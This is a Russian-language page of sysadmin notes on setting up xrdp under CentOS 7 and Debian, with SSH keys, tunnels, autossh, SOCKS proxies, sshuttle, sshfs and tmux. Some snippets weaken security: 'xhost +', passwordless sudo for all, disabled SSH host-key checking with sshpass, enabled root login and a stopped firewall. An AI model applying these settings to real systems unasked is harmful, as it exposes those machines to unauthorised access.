развернуть

В этой статье мы рассмотрим установку xrdp на CentOS 7.
Для пущего интереса, давайте мы это рассмотрим с такой точки зрения: вы поставили CentOS в его минимальном варианте установки (minimal install), без компонентов рабочего стола и прочих утилит и вам понадобилось этот самый рабочий стол завести, и предоставить к нему доступ по rdp. Поэтому мы рассмотрим весь процесс самого начала.

GNOME

А сначала нам нужно установить компоненты рабочего стола — а именно GNOME. Сделать это можно следующим образом.

Получим список групп доступного для установки программного обеспечения

yum grouplist

или так

yum groups list

Среди текста вывода команд мы увидим строку «GNOME Desktop»

Она то нам и нужна.

Запустить установку мы можем одной из следующих команд

yum groupinstall "GNOME Desktop"

или

yum groups install "GNOME Desktop"

Это что касается рабочей станции. Если же вы устанавливаете GNOME на систему, выполняющую серверные функции, то лучше воспользоваться одной из следующих команд

yum groupinstall "Server with GUI"

или

yum groups install "Server with GUI"

После этого нам нужно указать, чтобы по умолчанию система загружалась в графический режим.

systemctl set-default graphical.target

Для того, чтобы активировать его без перезагрузки

systemctl start graphical.target

xrdp

Теперь перейдем к xrdp.

Сначала добавим нужный нам репозиторий. А понадобится нам EPEL — Extra Packages for Enterprise Linux. Найти ссылку на его текущую версию мы можем, заглянув по адресу http://download.fedoraproject.org/pub/epel.

В моем случае команды будут выглядеть следующим образом

wget http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm
rpm -ivh epel-release-7-6.noarch.rpm

Еще одним вариантом, и соответственно, с тем же результатом, будет следующая команда, которая представляет из себя объединение двух предыдущих строк

rpm -ivh http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm

Теперь, если мы введем команду

yum repolist

в списке вывода мы должны увидеть нечто подобное

epel/x86_64   Extra Packages for Enterprise Linux 7 - x86_64   10,042

Далее нам нужно установить xrdp.

yum install xrdp

Если после этого мы попытаемся запустить xrdp, то это у нас скорее всего не получится, а в логах (команда journalctl -xe) мы увидим сообщения «Failed at step EXEC spawning /usr/sbin/xrdp-sesman: Permission denied» и «Failed at step EXEC spawning /usr/sbin/xrdp: Permission denied».

Чтобы все-таки их запустить, нам нужно изменить контекст безопасности SELinux для этих двух файлов.

chcon -t bin_t /usr/sbin/xrdp
chcon -t bin_t /usr/sbin/xrdp-sesman

Запустить xrdp можно командой

systemctl start xrdp

а проверить, запустился ли он

systemctl status xrdp

Чтобы xrdp запускался каждый раз при старте системы

systemctl enable xrdp

Для подтверждения того, что он ожидает подключений на полагающемся ему порту 3389 можно ввести следующую команду

netstat -antup | grep xrdp

Firewall

Если на вашей системе активен межсетевой экран, потребуется разрешить прохождение трафика на порт 3389. Сделать это можно следующими командами

firewall-cmd --permanent --zone=public --add-port=3389/tcp
firewall-cmd --reload

Теперь можно попробовать подключиться к системе при помощи rdp-клиента, например, Microsoft Remote Desktop Connection.

https://sergeyvasin.net/2016/05/13/xrdp-centos/
установка сервера терминалов XRDP на Debian 9.

установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh

http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу

Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys

Настройка входа через SSH без пароля

На локальной машине (с которой заходим):
ssh-keygen -t rsa

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):

советы по безопасности

Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ

thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH

Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.

Xpra выполнение графических приложений без привязки к текущему X-сеансу

http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth

Долгое Подключение по SSH — Убираем Задержку

Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall

ошибки при подключении

если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address

https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт

SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

autossh

Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием

Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel

https://github.com/aktos-io/link-with-server

ssh proxy via host

Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080

Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty

mosh

https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux

https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf

vi ~/.profile

$ tmux source-file ~/.tmux.conf

кратко

для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux

Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH

http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN

VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle

sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:

Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

SSHFS

https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0

установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh

Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini

echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &

https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

